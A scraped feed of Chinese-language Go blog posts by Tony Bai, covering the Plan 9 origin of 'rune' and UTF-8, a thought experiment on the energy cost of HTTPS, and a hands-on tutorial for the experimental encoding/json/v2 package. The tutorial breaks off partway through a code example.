欢迎大家围绕 Go 的未来发展，在评论区分享你的深度思考！如果你觉得这篇文章对你有所启发，也请转发给你身边的 Gopher 朋友们，让我们一起为 Go 的未来出谋划策。\n想与我进行更深入的 Go 语言与 AI 技术交流吗？ 欢迎加入我的**“Go \u0026amp; AI 精进营”知识星球**。\n我们星球见！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/17/java-at-30/","summary":"\u003cp\u003eJava屹立30年，Go的“少年壮志”如何续写辉煌？——来自Java之父的“长寿秘诀” - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Java屹立30年，Go的“少年壮志”如何续写辉煌？——来自Java之父的“长寿秘诀”"},{"content":"揭秘Go语言中的rune：一段跨越30年的Plan 9往事与UTF-8的诞生传奇 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n揭秘Go语言中的rune：一段跨越30年的Plan 9往事与UTF-8的诞生传奇 五月 16, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/16/how-rune-came\n大家好，我是Tony Bai。\n作为 Gopher，我们每天都在和 rune 打交道。在 Go 语言中，它通常被解释为“一个 Unicode 码点”，官方文档也说引入这个术语是为了“简洁”。但你是否曾好奇，这个略带神秘色彩的词汇，究竟源自何方？仅仅是为了简洁吗？\n最近，Connor Taffe的一篇精彩博文以及 Go语言之父 Rob Pike 的亲自确认，为我们揭开了一段跨越三十余年，从 Plan 9 操作系统到 UTF-8 编码诞生，再到 Go 语言的历史传奇。今天，就让我们一起，深入 rune 背后的故事。\n一句“简洁”，一段 Plan 9 往事 Connor文章中引用的Adam Pritchard的关于限制字符串长度的文章中提到：“请注意，在 Go 中，Unicode 码点通常被称为‘rune’。（Go 似乎是为了简洁而引入了这个术语。）” 而 Go 官方博客《Strings, bytes, runes, and characters in Go》也说：“‘Code point’有点拗口，所以 Go 引入了一个更短的术语：rune。”\n然而，真相远不止于此。Rob Pike 最近在 Bluesky 上澄清(如上图)，rune 这个词实际上是 Ken Thompson 在一次为 Plan 9 寻找一个不同于 char（用于字节）的类型名称的头脑风暴中“得意地”提出的，Rob Pike 当即表示赞同。更关键的是，Rob Pike 随后确认，这个命名发生在 Plan 9 为 UTF 和 ISO 10646 寻找类型名称的时期，具体是1991 年 12 月 8 日的晚上！远早于 Unicode 和 UTF-8 的广泛应用，也比 Go 语言的诞生早了数十年。\n是的，你没看错，rune 的故事，始于 Plan 9，那个由贝尔实验室传奇人物们（包括 Rob Pike, Ken Thompson 等）创造的操作系统。Go 语言深受 Plan 9 的影响，从链接器架构、并发原语 channel、标识符大小写的可见性规则，到对简洁性的极致追求，都带着浓厚的 Plan 9 印记。rune 便是这血脉传承中的一环。\n餐巾纸上的革命：UTF-8 的诞生传奇 要理解 rune 在 Plan 9 中的意义，就不得不提 UTF-8 的诞生。Connor 的文章中引用了一封 Rob Pike 在 2003 年的邮件，详细披露了这段鲜为人知的历史，纠正了“IBM 设计 UTF-8，Plan 9 实现它”的说法。\n故事发生在 1992 年 9 月左右的一个晚上，新泽西一家小餐馆的餐巾纸上：\n缘起： Plan 9 当时使用 ISO 10646 最初的 UTF（一种16位字符编码）来支持宽字符，但团队对它非常不满。Rob Pike 形容道：“UTF 太糟糕了。它有模192的算术，而且在没有除法硬件的老 SPARC 机器上几乎不可能高效实现。像【/*】这样的字符串可能出现在西里尔字符中间，导致你的俄文文本变成一个 C 语言注释。还有更多问题。它作为一种编码根本不实用。” 契机： 一天下午，X/Open 委员会的一些人（据 Rob Pike 回忆可能来自 IBM 奥斯汀）打来电话，希望 Ken 和 Rob 审查他们的 FSS-UTF (File System Safe UTF) 设计。Ken 和 Rob 意识到这是一个用他们的经验设计一个真正优秀的标准，并让 X/Open 将其推广出去的机会。 餐巾纸上的灵感： 他们接受了挑战，条件是必须快速完成。于是，在那个决定性的晚餐上，Ken Thompson 在餐巾纸上构想出了 UTF-8 的位打包方案。 闪电般的实现： 晚餐后回到实验室，他们便向 X/Open 解释了新方案，并承诺在周一前（据信是 X/Open 的重要投票日）拿出一个完整的运行系统。当晚，Ken 写了打包和解包代码，Rob Pike 则开始修改 C 库和图形库。到周五的某个时候，Plan 9 已经完全运行在后来被称为 UTF-8 的编码上了。 Rob Pike 在邮件中强调，他们之所以要“另起炉灶”，是因为 FSS-UTF 缺少他们认为至关重要的特性之一：支持定位到文件或流的中间，并读取有效字符，或处理损坏的字符。 Ken Thompson 设计的 UTF-8 完美地解决了这个问题。\n对比 Ken Thompson 当时提出的 UTF-8 方案(如下图)和 FSS-UTF，我们可以看到 UTF-8 的精妙之处：后续字节以 10 开头，与首字节的 110、1110 等模式区分开来，确保了自同步性和对 ASCII 的兼容性。\nRune 的首次亮相与演变 那么，Rune 这个词是什么时候正式与这种新的字符表示方式联系起来的呢？Rob Pike 在其关于 Plan 9 UTF-8 实现的论文《Hello World》中写道：\n“在语义层面上，ANSI C 允许（但并未限制）宽字符的概念，并且允许此类字符串和字符常量。我们选择 unsigned short 作为宽字符类型。在库中，Rune 一词由 typedef 定义为等同于 unsigned short，并用于表示 一个Unicode 字符。”\n这似乎是 Rune 作为一种特定类型名称，用于指代 Unicode 字符（码点）的最早文献记录。最初在 Plan 9 C 中，Rune 是一个 16 位无符号短整型，足以表示当时的 Unicode 基本多文种平面（BMP）。\n而到了 Go 语言，rune 被定义为 int32 的别名。这是因为自 1992 年以来，Unicode 已经扩展，需要更大的空间来表示所有码点（UCS-4 定义了 31 位码空间）。Go 语言标准库中的 unicode/utf8 包也定义了 UTFMax = 4，表明一个 rune 最多可以用 4 个字节的 UTF-8 编码表示。有趣的是，在 Russ Cox 移植的 plan9 port 中，Rune 类型在 2009 年末也被修改为了 unsigned int，同样是为了支持更广的码点范围。\nKen Thompson 在最初的邮件中提到：“4、5 和 6 字节序列只是出于政治原因才存在的。我更愿意删除它们。” 这也印证了早期设计者对编码效率和实用性的极致追求。\nRune 的足迹：从 Plan 9 到更广阔的世界 Rune 这个术语，并没有止步于 Plan 9。通过 Paul Borman 的贡献，Plan 9 的 rune 功能被整合进了 4.4 BSD。从此，rune 开始在更广阔的 Unix 世界留下足迹：\nFreeBSD 继承了 4.4 BSD 的 rune 函数，尽管后来推荐使用 ISO C99 的宽字符工具。 Apple 的 Darwin 内核，作为 BSD 的衍生，也包含了 rune_t 类型。 C 标准库实现如 newlib 也包含了源自 BSD 4.4 的 rune 功能。 Android 通过 plan9port 移植了 Plan 9 的 libutf，其中自然也包含了 rune。 甚至，微软的 .NET 在引入 System.Text.Rune 类型时，其灵感也明确来自 Go 语言，这在其 GitHub issue 中由 Miguel de Icaza 提及。 可见，rune 这个由 Ken Thompson 灵光一闪提出的词汇，承载着一段从贝尔实验室 Plan 9 开始，经由 BSD 社区，最终深刻影响了包括 Go 在内的现代编程语言和操作系统的字符处理历史。\n小结：rune 不只是简洁 通过Rob Pike的亲自确认，我们应该知道，当我们今天再看到 Go 语言中的 rune 时，它不仅仅是为了“简洁”而对“Unicode code point”的替换。它是一个承载着厚重历史的符号，是 Go 语言设计者们深厚技术底蕴和创新精神的体现，是 Plan 9 简洁哲学与 UTF-8 实用主义的结晶。\n理解 rune 的来龙去脉，有助于我们更深刻地体会 Go 语言在文本处理、字符串操作以及 Unicode 支持方面的设计考量，也让我们对这门语言背后的巨匠们多一份敬意。下一次，当你在 Go 代码中写下 rune 时，或许会想起那个在新泽西餐馆餐巾纸上诞生的传奇，以及那段跨越三十余年的 Plan 9 往事。\n参考文献 Rune by Connor Taffe – https://connor.zip/posts/2025-05-03-rune Rob Pike on Bluesky, re: origin of “rune” – https://bsky.app/profile/robpike.io/post/3lokt3qzvos2h Rob Pike, Email “UTF-8 history” – https://www.cl.cam.ac.uk/~mgk25/ucs/utf-8-history.txt Rob Pike, “Hello World” (Plan 9 UTF-8 implementation paper) – https://connor.zip/resources/pdfs/utf8.pdf 聊一聊：\n在了解了 rune 的历史后，你对 Go 语言的设计是否有新的认识？ UTF-8 诞生的故事中，有哪些细节让你印象深刻？ 你认为这种对历史渊源的挖掘，对我们理解和使用一门编程语言有何帮助？ 欢迎在评论区分享你的看法！如果你觉得这篇文章有趣且有价值，也请转发给你身边的 Gopher 朋友们，让更多人了解 rune 背后的故事。\n今天我们一起挖掘了 rune 这个小小术语背后波澜壮阔的历史，感受到了 Go 语言与 Plan 9、UTF-8 的深厚渊源。真正理解一门语言，往往需要我们深入其“根源”，探究其设计选择背后的“为什么”。\n这里，我邀请你加入我在极客时间的专栏 “TonyBai · Go 语言进阶课”。\n在这门课程中，我们将一起：\n夯实基础，突破语法认知瓶颈： 深入剖析那些看似熟悉却暗藏玄机的核心概念。 设计先行，奠定高质量代码基础： 学习如何进行合理的程序骨架、并发设计、包设计、接口设计以及API设计。 工程实践，锻造生产级 Go 服务： 掌握构建可观测性、性能调优、故障排查等硬核技能。 理解“过去”是为了更好地走向“未来”。 就像我们今天了解 rune 的故事一样，在《Go语言进阶课》中，我们将一起探索更多 Go 语言的设计精髓与实践智慧，助你完成从“熟练”到“精通”的蜕变。\n扫描下方二维码或点击[阅读原文]，立即加入，开启你的 Go 语言精进之旅！\n期待与你在极客时间相遇，共同探索 Go 语言的深层魅力！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/16/how-rune-came/","summary":"\u003cp\u003e揭秘Go语言中的rune：一段跨越30年的Plan 9往事与UTF-8的诞生传奇 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"揭秘Go语言中的rune：一段跨越30年的Plan 9往事与UTF-8的诞生传奇"},{"content":"思想实验：如果全球网站一夜之间弃用HTTPS，能为地球节省多少电？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n思想实验：如果全球网站一夜之间弃用HTTPS，能为地球节省多少电？ 五月 16, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/16/energy-savings-if-abandon-https\n大家好，我是Tony Bai。\n如今，当我们浏览网页时，地址栏那把绿色的小锁和 HTTPS 前缀已是司空见惯。从网上银行到个人博客，再到每一个SaaS服务，HTTPS/TLS 加密几乎覆盖了互联网的每一个角落。它像一位忠诚的数字保镖，守护着我们在虚拟世界中的数据安全与隐私。\n然而，这位保镖并非“免费服务”。HTTPS/TLS 在带来安全的同时，也无可避免地引入了额外的计算和传输开销，直观感受便是连接速度可能略有减慢，传输数据量也略有增加。而且，随着我们对安全的追求永无止境，为了抵御更强大的计算破解能力，加密算法的密钥长度也在不断增加（例如从 RSA 1024位到2048位甚至更高，ECC 曲线的复杂度也在提升），这无疑进一步加剧了这些开销。\n那么，今天我们不妨来做一个大胆的，甚至有些“异想天开”的思想实验：如果在一夜之间，全球所有的网站都决定弃用 HTTPS/TLS，回归到“裸奔”的 HTTP 时代，理论上能为我们的地球节省多少电力呢？\n重要声明： 这纯粹是一个思想实验，旨在通过一个极端的假设，引发我们对技术成本（特别是能源成本）和安全效益之间平衡的思考。我们绝非鼓吹放弃 HTTPS/TLS，其在现代互联网安全中的基石地位无可替代。\nHTTPS 的“能源账单”：开销源自何方？ 要估算节省的电量，首先得理解 HTTPS/TLS 的主要开销在哪里。这些开销主要体现在两个方面：计算开销和数据传输开销。\n计算开销 (CPU 的额外负担) TLS 握手阶段： 这是计算密集型操作的重灾区。\n非对称加密/密钥交换： 如 RSA、Diffie-Hellman 或 ECC (椭圆曲线加密)，用于安全地协商后续通信所用的对称密钥。密钥长度的增加，使得这些运算的计算量呈指数级或更高阶的增长。 例如，一个 RSA 2048 位操作的计算量远超 1024 位。 证书验证： 客户端需要验证服务器证书链的有效性，这涉及到一系列的数字签名验证操作，同样消耗 CPU 资源。 对称密钥生成与哈希计算： 用于生成会话密钥、消息认证码 (MAC) 等。 数据传输阶段：\n对称加解密： 建立连接后，所有应用数据的传输都需要经过对称加密算法（如 AES）的加密和解密。虽然对称加密比非对称加密快得多，但对于海量数据流，累积的 CPU 开销依然可观。 消息认证码 (MAC) 计算： 为确保数据完整性，需要为每个数据包计算和验证 MAC。 这些计算开销不仅发生在服务器端（数据中心），也发生在每一个发起 HTTPS 请求的客户端设备上（我们的电脑、手机等）。\n数据传输开销 (网络带宽的额外占用) TLS 握手数据包： 完整的 TLS 握手过程（尤其是在未使用会话复用或 TLS 1.3 的 0-RTT 时）需要多个数据包的往返，这些数据包承载了证书、加密套件协商信息、密钥交换参数等，本身就构成了额外的网络流量。 TLS 记录层头部： 每个 TLS 记录包都会增加一个小的头部，指明内容类型、版本和长度。 填充数据 (Padding)： 某些块加密模式可能需要填充数据以满足块大小要求。 这些额外的字节虽然对单个请求来说可能不多，但考虑到全球互联网的流量规模，累积起来也是一个惊人的数字。这些额外的数据不仅消耗了网络设备（路由器、交换机、基站）的传输和处理电力，也增加了数据中心内部的存储和带宽压力。\n尝试量化：一个极度简化的估算 精确计算全球弃用 HTTPS 能节省多少电量几乎是不可能的，因为这涉及到太多动态和难以获取的数据。但我们可以尝试进行一个基于合理假设的粗略数量级估算，目的在于理解其可能的影响范围。\n请注意：以下估算高度简化，仅为引发思考，不代表任何精确的科学结论。\n假设一：全球每日 HTTPS 请求数。 据一些行业报告估计，全球每日的 HTTP(S) 请求量可能达到数百万亿甚至更高。我们不妨取一个相对保守的中间值。 假设二：单次 TLS 握手与数据加解密的平均额外能耗。 这取决于多种因素，包括密钥长度、加密算法、硬件加速能力等。我们可以参考一些研究中关于 CPU 执行加密操作的功耗数据，或者服务器因处理 TLS 产生的额外负载百分比。 假设三：TLS 协议的平均数据开销。 TLS 握手通常会增加几KB的开销，后续记录层头部等开销相对较小，我们可以估算一个平均的额外数据传输百分比。 假设四：全球数据中心和网络基础设施的总能耗。 这同样是一个巨大的数字，数据中心本身就是能源消耗大户。 基于这些高度简化的假设，即使我们只考虑由于 TLS 计算和额外数据传输导致的 全球数据中心电力消耗增加 1%-5% （这已经是一个非常大胆且可能偏低的估计，因为 TLS 的影响是端到端的），考虑到全球数据中心年耗电量已达数百太瓦时 (TWh，1太瓦时=10亿度电) 的量级，这意味着：\n理论上，弃用 HTTPS 每年节省的电力可能达到数个乃至数十个太瓦时。\n这是什么概念？一个太瓦时的电力，足以供应数十万个普通家庭一年的用电。数十太瓦时，其能源足迹和碳排放影响将是巨大的。\n再次强调，这只是一个非常粗略的“思想实验”级别估算。实际情况远比这复杂，例如：\n现代 CPU 对 AES 等对称加密有硬件指令加速，大大降低了数据传输阶段的加密开销。 TLS 1.3 显著优化了握手过程，减少了 RTT 和计算量。 会话复用技术能避免重复的完整握手。 CDN 和边缘节点分担了部分 TLS 终结的压力。 但即便如此，考虑到密钥长度持续增加带来的计算压力，以及全球网络流量的爆炸式增长，HTTPS/TLS 的“能源税”依然是一个不容忽视的议题。\n安全的代价：我们为何“心甘情愿”支付这笔账单？ 既然 HTTPS/TLS 有如此“隐形”的能源成本，为何我们还要坚定不移地推动全网 HTTPS 化呢？\n答案不言而喻：安全！\n数据保密性： 防止敏感信息（如登录凭证、支付信息、个人隐私）在传输过程中被窃听。 数据完整性： 确保数据在传输过程中未被篡改。 身份认证： 验证通信对方（主要是服务器）的真实身份，防止中间人攻击。 在一个充斥着网络钓鱼、数据泄露、恶意劫持的数字时代，这些安全保障是我们进行在线活动的基础信任。与可能遭受的经济损失、声誉损害、隐私侵犯相比，HTTPS/TLS 的能源成本可以说是“必要的代价”。\n追求平衡：我们能为“绿色安全”做些什么？ 这次思想实验的目的，绝非要我们因噎废食，放弃安全。恰恰相反，它应该促使我们更积极地思考：如何在保障同等级别安全的前提下，追求更高的效率和更低的能耗？\n持续优化协议与算法： TLS 1.3 就是一个很好的例子(Go标准库crypto/tls已经默认采用TLS 1.3)。未来是否还会有更轻量级、更高性能的安全协议或加密算法出现？ 硬件加速的普及： 推动和利用 CPU、专用加密芯片对加密运算的硬件加速能力。 智能的会话管理： 更有效地利用会话复用、0-RTT 等技术，减少不必要的握手开销。 内容分发与边缘计算的优化： 在离用户更近的地方进行 TLS 终结，减少长距离加密传输的开销。 代码层面的优化： 对于应用开发者，合理设计 API，避免不必要的加密数据传输，选择合适的加密库和配置。 关注“适度安全”： 对于某些内部系统或低风险场景，是否可以采用与公网不同强度的、但依然安全的加密策略？（这需要非常谨慎的评估）。 小结：思想实验的价值在于警醒与前瞻 “如果全球网站弃用 HTTPS，能为地球节省多少电？” 这个问题的答案可能永远无法精确计算，但它像一面镜子，照见了我们为构建一个更安全的数字世界所付出的“隐形成本”之一。\n这提醒我们，安全并非没有代价，技术进步需要在多个维度上寻求平衡。 在坚定不移地拥抱和强化网络安全的同时，我们也应该持续关注其对性能、资源和环境的影响，积极探索和实践更绿色、更高效的安全技术。\n聊一聊，也帮个忙：\n在你的日常工作中，是否感受过 HTTPS/TLS 带来的性能或资源开销？你是如何应对的？ 对于未来网络安全技术的发展，你认为在“更安全”与“更高效/更绿色”之间，我们应该如何权衡？ 除了电力消耗，你认为 HTTPS/TLS 还带来了哪些“隐性”成本或效益？ 欢迎在评论区留下你的思考和问题。如果你觉得这篇文章提供了一个有趣的视角，也请转发给你身边的朋友和同事，一起参与这个“思想实验”！\n想与我进行更深入的 Go 语言、网络安全与 AI 技术交流吗？ 欢迎加入我的**“Go \u0026amp; AI 精进营”知识星球**。\n我们星球见！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/16/energy-savings-if-abandon-https/","summary":"\u003cp\u003e思想实验：如果全球网站一夜之间弃用HTTPS，能为地球节省多少电？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"思想实验：如果全球网站一夜之间弃用HTTPS，能为地球节省多少电？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/05/15/go-json-v2\n大家好，我是Tony Bai。\nGo 语言标准库中的 encoding/json 包，无疑是我们日常开发中使用频率最高的包之一。它为 Go 社区服务了十多年，几乎无处不在。但与此同时，它也因一些历史遗留的 API 缺陷、行为不一致以及在某些场景下的性能瓶颈而受到过不少讨论和批评。社区中甚至涌现出像Sonic、go-json、easyjson 等一系列高性能的第三方 JSON 库作为替代。\n令人兴奋的是，Go 官方团队终于开始着手对 encoding/json 进行一次意义深远的升级——这就是 encoding/json/v2 的由来。虽然json/v2 尚未正式发布，但其核心代码已经合并到 Go 的开发分支，并可以通过一个实验性特性标志 GOEXPERIMENT=jsonv2 来提前体验！\n今天，我就来手把手带大家玩转这个实验性特性，通过官方提供的 gotip 工具，亲自动手体验一下 Go 下一代 JSON 库到底带来了哪些令人期待的改进，特别是在行为正确性和性能方面。\n背景回顾：为何需要 json/v2？—— encoding/json (v1) 的“四宗罪” 在深入实践之前，我们有必要回顾一下 encoding/json (v1) 长期以来积累的一些核心痛点。这些痛点也是催生 json/v2 的根本原因。Go 官方的 json/v2 提案（详见 GitHub Issue #71497）将这些缺陷归纳为四大类：\n行为缺陷 大小写不敏感的字段名匹配： v1 在反序列化时，JSON 对象中的字段名与 Go 结构体字段的 JSON Tag 或字段名进行匹配时，采用的是大小写不敏感的策略。这虽然在某些情况下提供了便利，但并不符合 JSON 规范的最新趋势（RFC 8259 强调对象名是大小写敏感的），也可能导致非预期的匹配。 重复键处理不明确： 当输入的 JSON 对象包含重复的键名时，v1 的行为是不确定的（通常是后者覆盖前者），并且不会报错。这违反了 RFC 8259 中关于名称唯一性的建议，可能导致数据丢失或解析混乱。 无效 UTF-8 的静默替换： v1 在遇到无效的 UTF-8 字节序列时，会将其静默地替换为 Unicode 替换字符 (U+FFFD)，而不是报错。v2 则默认要求严格的 UTF-8。 反序列化 null 到非空 Go 值的行为不一致： v1 在此场景下行为不统一，有时清零有时保留原值。v2 则统一为清零。 合并 (Merge) 语义不一致： v1 在反序列化到已有的非零 Go 值时，其合并行为在不同类型（如 struct 字段 vs map 值）之间存在差异。v2 对合并语义进行了重新设计。 功能缺失 缺乏灵活的时间格式化支持： v1 强制要求时间字符串符合 RFC 3339 格式，无法方便地处理其他常见的时间格式。 对 omitempty 的定义局限： v1 的 omitempty 基于 Go 类型的零值判断，对于某些场景（如希望指针为 nil 时才省略，而不是其指向的值为空时省略）不够灵活。v2 重新定义了 omitempty 并引入了 omitzero。注：v1版本也已经加入对omitzero支持的补丁。 处理未知字段不便： v1 默认会丢弃 JSON 对象中未在 Go 结构体中定义的字段，缺乏一种内建的、优雅的方式来捕获这些未知字段。 nil Slice/Map 的序列化行为： v1 将 nil slice 和 nil map 序列化为 JSON null，而许多用户期望它们被序列化为空数组 [] 和空对象 {}。 API 缺陷 缺乏对 io.Reader 和 io.Writer 的一流支持： v1 的核心 API Marshal 和 Unmarshal 主要操作 []byte，与 Go 广泛使用的 io.Reader/Writer 接口范式不够协调，导致需要额外的缓冲或转换。 Decoder.DisallowUnknownFields 和 Decoder.UseNumber 等配置方式不够灵活： 这些配置是解码器级别的，难以针对特定类型或字段进行细粒度控制。 性能限制 反射开销： v1 严重依赖反射，尤其是在处理大型、复杂的 JSON 对象或高频次的序列化/反序列化操作时，性能可能成为瓶颈。 内存分配： 在某些情况下，v1 的内存分配策略可能不是最优的，导致不必要的内存分配和 GC 压力。 正是为了系统性地解决这些问题，并提供一个更正确、更灵活、更高性能的 JSON 处理方案，json/v2 应运而生。\n准备工作：安装并使用 gotip 要体验 Go 开发分支中的特性，我们需要使用 gotip 这个官方工具。gotip 可以下载并运行 Go 最新的（可能是未发布的）源代码版本。\n安装 gotip: $go install golang.org/dl/gotip@latest 下载最新的 Go tip 版本: $gotip download 这个命令会使用你当前安装的 Go 版本来编译 Go 的 tip 版本。这个过程可能需要几分钟，因为它需要从源码构建整个 Go 工具链。耐心等待完成。\n完成后，你就可以使用 gotip run、gotip build、gotip test 等命令来运行使用 Go tip 版本的代码了，就像使用普通的 go 命令一样。\n注：更多关于安装gotip版本的内容，可以参考我之前写的《Gotip安装：基于Go镜像代码仓库》。\n开启 json/v2 实验特性 要启用 json/v2，我们需要在执行 gotip 命令时设置一个环境变量GOEXPERIMENT：\n$GOEXPERIMENT=jsonv2 gotip \u0026lt;command\u0026gt; 设置后，当你在示例代码中导入 “encoding/json/v2″ 包时，Go编译器就会选择使用v2版本的json包对源码进行编译。\n实战演练：json/v2 带来了哪些显著变化？ 让我们通过几个具体的例子来感受一下 json/v2 的不同之处。\n注：本文使用的Go版本为go 1.24.1以及gotip(go1.25-devel_c0eb7ab3)。\n行为正确性：重复键报错与大小写敏感 encoding/json (v1) 在处理 JSON 对象中重复的键名时，行为是不确定的（通常是后者覆盖前者）并且不会报错。同时，它在匹配 JSON 字段名和 Go 结构体字段时采用大小写不敏感的策略。这些都可能与最新的 JSON 规范或开发者的直观预期有所出入。让我们看看 json/v2 在这方面的表现。\n// jsondemo1.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type TargetRepeat struct { Message string `json:\u0026#34;message\u0026#34;` } func main() { fmt.Println(\u0026#34;--- Testing Duplicate Keys ---\u0026#34;) inputJSONRepeat := `{\u0026#34;message\u0026#34;: \u0026#34;hello 1\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;hello 2\u0026#34;}` // 重复键 \u0026#34;message\u0026#34; var outRepeat TargetRepeat errRepeat := json.Unmarshal([]byte(inputJSONRepeat), \u0026amp;outRepeat) if errRepeat != nil { fmt.Println(\u0026#34;Unmarshal with duplicate keys error (expected for v2):\u0026#34;, errRepeat) } else { fmt.Printf(\u0026#34;Unmarshal with duplicate keys output (v1 behavior): %+v\\n\u0026#34;, outRepeat) } fmt.Println(\u0026#34;\\n--- Testing Case Sensitivity ---\u0026#34;) type TargetCase struct { MyValue string `json:\u0026#34;myValue\u0026#34;` // Tag is camelCase } inputJSONCase := `{\u0026#34;myvalue\u0026#34;: \u0026#34;hello case\u0026#34;}` // JSON key is lowercase var outCase TargetCase errCase := json.Unmarshal([]byte(inputJSONCase), \u0026amp;outCase) if errCase != nil { fmt.Println(\u0026#34;Unmarshal with case mismatch error (expected for v2 default):\u0026#34;, errCase) } else { fmt.Printf(\u0026#34;Unmarshal with case mismatch output (v1 behavior or v2 with nocase): %+v\\n\u0026#34;, outCase) if outCase.MyValue == \u0026#34;\u0026#34; { fmt.Println(\u0026#34;Note: myValue field was not populated due to case mismatch in v2 (default).\u0026#34;) } } } 注：当使用gotip运行上述示例代码前，我们需要将导入的encoding/json换为encoding/json/v2，后续示例都是如此，我就不再在每个示例末尾重复说明了。\n接下来，我们分别用v1版本和v2版本json包进行编译、运行与对比：\n$go run jsondemo1.go --- Testing Duplicate Keys --- Unmarshal with duplicate keys output (v1 behavior): {Message:hello 2} --- Testing Case Sensitivity --- Unmarshal with case mismatch output (v1 behavior or v2 with nocase): {MyValue:hello case} V1不会因重复键而报错，且默认大小写不敏感匹配。\n使用gotip运行：\n$GOEXPERIMENT=jsonv2 gotip run jsondemo.go --- Testing Duplicate Keys --- Unmarshal with duplicate keys error (expected for v2): jsontext: duplicate object member name \u0026#34;message\u0026#34; --- Testing Case Sensitivity --- Unmarshal with case mismatch output (v1 behavior or v2 with nocase): {MyValue:} Note: myValue field was not populated due to case mismatch in v2 (default). 我们看到：对于重复键，v2 会明确报错。对于大小写敏感性，v2 默认进行精确匹配，因此 myvalue 无法匹配到 myValue 标签的字段（除非使用nocase标签选项或全局配置）。\n灵活的时间(Time)与时长(Duration)处理 encoding/json (v1) 对 time.Time 的解析强制要求 RFC 3339 格式，对 time.Duration 则序列化为纳秒整数，这在与其他系统交互或追求可读性时常常带来不便。json/v2 通过引入 format 标签选项，极大地增强了对这两种类型的格式化和解析能力。\n我们先看v1版本json包对时间和时长的处理：\n// jsondemo2-v1.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) type EventData struct { EventName string `json:\u0026#34;event_name\u0026#34;` Timestamp time.Time `json:\u0026#34;timestamp,format:\u0026#39;2006-01-02\u0026#39;\u0026#34;` // v2: 自定义日期格式 PreciseTime time.Time `json:\u0026#34;precise_time,format:RFC3339Nano\u0026#34;` // v2: RFC3339 Nano 格式 Duration time.Duration `json:\u0026#34;duration\u0026#34;` // v2 默认输出 \u0026#34;1h2m3s\u0026#34; 格式 Timeout time.Duration `json:\u0026#34;timeout,format:sec\u0026#34;` // v2: 以秒为单位的数字 OldDuration time.Duration `json:\u0026#34;old_duration,format:nano\u0026#34;` // v2: 兼容v1的纳秒数字 } func main() { fmt.Println(\u0026#34;--- Testing Time and Duration Marshaling (v2) ---\u0026#34;) event := EventData{ EventName: \u0026#34;System Update\u0026#34;, Timestamp: time.Date(2025, 5, 6, 10, 30, 0, 0, time.UTC), PreciseTime: time.Now(), Duration: time.Hour*2 + time.Minute*15, Timeout: time.Second * 90, OldDuration: time.Millisecond * 500, } jsonData, err := json.MarshalIndent(event, \u0026#34;\u0026#34;, \u0026#34; \u0026#34;) if err != nil { fmt.Println(\u0026#34;Marshal error:\u0026#34;, err) return } fmt.Println(string(jsonData)) fmt.Println(\u0026#34;\\n--- Testing Time Unmarshaling (v2) ---\u0026#34;) inputTimeJSON := `{\u0026#34;event_name\u0026#34;:\u0026#34;Test Event\u0026#34;, \u0026#34;timestamp\u0026#34;:\u0026#34;2024-12-25\u0026#34;, \u0026#34;precise_time\u0026#34;:\u0026#34;2024-12-25T08:30:05.123456789Z\u0026#34;, \u0026#34;duration\u0026#34;:\u0026#34;30m\u0026#34;, \u0026#34;timeout\u0026#34;:120, \u0026#34;old_duration\u0026#34;: 700000000}` var decodedEvent EventData err = json.Unmarshal([]byte(inputTimeJSON), \u0026amp;decodedEvent) if err != nil { fmt.Println(\u0026#34;Unmarshal error:\u0026#34;, err) } else { fmt.Printf(\u0026#34;Unmarshaled Event (v2 expected): %+v\\n\u0026#34;, decodedEvent) } } 使用Go 1.24.1运行上述代码，得到的结果如下：\n$go run jsondemo2-v1.go --- Testing Time and Duration Marshaling (v2) --- { \u0026#34;event_name\u0026#34;: \u0026#34;System Update\u0026#34;, \u0026#34;timestamp\u0026#34;: 